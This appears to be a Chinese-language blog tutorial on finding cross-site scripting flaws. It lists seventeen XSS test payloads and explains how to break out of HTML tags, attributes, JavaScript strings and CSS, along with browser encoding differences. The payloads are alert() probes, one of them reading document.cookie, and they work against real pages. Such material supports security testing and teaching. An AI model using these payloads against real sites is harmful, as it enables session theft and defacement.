漏洞挖掘
来源:互联网 发布:网上开店铺的软件 编辑:程序博客网 时间:2024/06/05 10:04
1.URL上的玄机
URL的一种常见组成模式: http://www.foo.com/path/f.php?id=1&type=cool#new
URL的特例:http://www.foo.com/path/1/id#new id是参数名,1是参数值
2.HTML中的玄机alert() 弹出个提示框 (确定)
confirm() 弹出个确认框 (确定,取消)prompt() 弹出个输入框 让你输入东西
1.<script>alert('xss')</script>
2.<script>alert('xss');</script>
3.' "><script>alert(1)</script>
4.<script>alert(document.domain)</script>
5.'><script>alert(document.cookie)</script>
6.%3Cscript%3Ealert('xss')%3C/script%3E
7.<img src="javascript:alert('xss')">
8.<img/src=@ onerror=alert(1) />
9.' "><img/src=@ onerror=alert(1) />
10.' onmouseover=alert(1) x='
11." onmouseover=alert(1) x="
12.` onmouseover=alert(1) x=`
13.alert(1)//
14.' ";alert(1)//
15.javascript:alert(1)//
16.</script><script>alert(1)//
17.}x:expression(alert(1))
总结:xss容易出现的位置
1.HTML标签之间,比如出现在<div id="body">输出</div>位置
payload: id=1<script>alert(1)</script>
注意:以下标签之间无法执行脚本
<title></title> <textarea></textarea> <xmp></xmp> <iframe></iframe>
<noscript></noscript><noframes</noframes> <plaintext></plaintext>
payload: </title><script>alert(1)</script>
2.HTML标签之内,比如出现在<input type="text" value="输出"/>位置
payload: " onmouseover=alert(1) x=" 闭合属性,然后使用on事件来触发脚本
payload: "><script>alert(1)</script> 闭合属性又闭合标签,然后直接执行脚本
注意:第二个比第一个多了<>字符,而目标网站防御xss很可能过滤或编码了<>字符。
对于<input type="hidden" value="输出" />情况
payload: "><script>alert(1)</script> //我们只能闭合input标签,否则由于hidden特性会触发不了xss
对于<input value="输出" type="hidden" />情况
payload: 1" onmouseover=alert(1) type="text //鼠标移上去就可触发xss
1)输出在src/href/action等属性内,比如<a href="输出">click me</a>
payload: javascript:alert(1)//
2)输出在on*事件内,比如<a href="#" onclick="输出">click me</a>
payload: alert(1)
输出:<a href="#" onclick="eval(alert(1))">click me</a>
3)输出在style属性内,比如<a href="#" style="输出">click me</a>
payload: 1;xss:expression(if(!window.x) {alert(1);window.x=1;})
输出:<a href="#" style="width:1;xss:expression(if(!window.x) {alert(1);window.x=1;})">click me</a>
注意:在style中执行脚本是IE浏览器独有的特性
4)属性引用符号
payload: `javascript:alert(1) -html`
输出:<a href=`javascript:alert(1) -html`>click me</a>
注意:HTML属性值可以不用引号,或者使用单引号,双引号,反单引号(近IE浏览器支持)进行应用
注意:在xss漏洞挖掘中,需要识别闭合引号的有无及其类型,不要盲目
3.成为JavaScript代码的值,比如:<script>a="输出";</script>位置
payload: </script><script>alert(1)// 闭合<script>标签
payload: ";alert(1)// 闭合a变量
payload: alert(1) 巧合a变量在其他地方被eval等执行了
注意://是JavaScript注释符
4.成为CSS代码的值,比如:<style>body{font-size:输出px;}</style>位置
二。HTML与JavaScript自解码机制
1.HTML编码
payload: '<img src=@ onerror=alert(1) />'
输出:<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(1) />')" />
输出:<input type="button" id="exec_btn" value="exec" onclick="document.write(HTMLEncode('<img src=@ onerror=alert(1) />'))" />
注意:小心HTML实体编码HTMLEncode('<img src=@ onerror=alert(1) />')会将<>过滤
2.JavaScript编码
如果用户输入出现在<script>..</script>中,将会自动进行JavaScript编码
3.URL编码差异
FireFox编码了' " ` <>特殊字符
Chrome只编码了" <>特殊字符
IE内核不做任何编码
- 漏洞挖掘
- 漏洞挖掘
- 漏洞自动挖掘技术
- WEB漏洞挖掘技术
- WEB漏洞挖掘技术
- WEB漏洞挖掘技术
- 漏洞挖掘技术
- 漏洞挖掘技术
- WEB漏洞挖掘技术
- WEB漏洞挖掘技术
- 模糊测试漏洞挖掘
- 漏洞挖掘实践
- WEB漏洞挖掘技术
- Fuzz漏洞挖掘漫谈
- Fuzz漏洞挖掘漫谈
- WEB漏洞挖掘技术
- Android APP漏洞挖掘
- WEB漏洞挖掘技术
- Git 出现的问题
- Java多线程--初始
- 【多媒体编解码】Openmax IL (二)Android多媒体编解码Component架构
- 关于spring mvc,spring data,spring,MongoDB整合框架的一些思考和常用注解
- 关于EasyUI与富文本编辑器结合使用的问题(kindueditor与uueditor)
- 漏洞挖掘
- 直接通过网页jsp导出Excel文件
- makefile使用函数
- 阿里云服务器部署正式web环境
- UVA 10344
- [LeetCode]653. Two Sum IV
- 再谈C#委托与事件
- IIS8 未能从程序集“System.ServiceModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089”
- java.lang.IllegalStateException: Fatal Exception thrown on Scheduler.Worker thread.